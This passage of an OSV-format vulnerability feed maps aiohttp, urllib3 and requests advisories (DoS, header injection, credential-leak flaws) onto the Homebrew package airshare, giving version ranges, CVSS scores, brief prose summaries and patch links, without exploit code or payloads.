https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69229","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69230","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-21441","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-22815","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-25645","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34513","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34514","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34515","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34516","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34517","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34518","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34519","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34520","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34525","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: 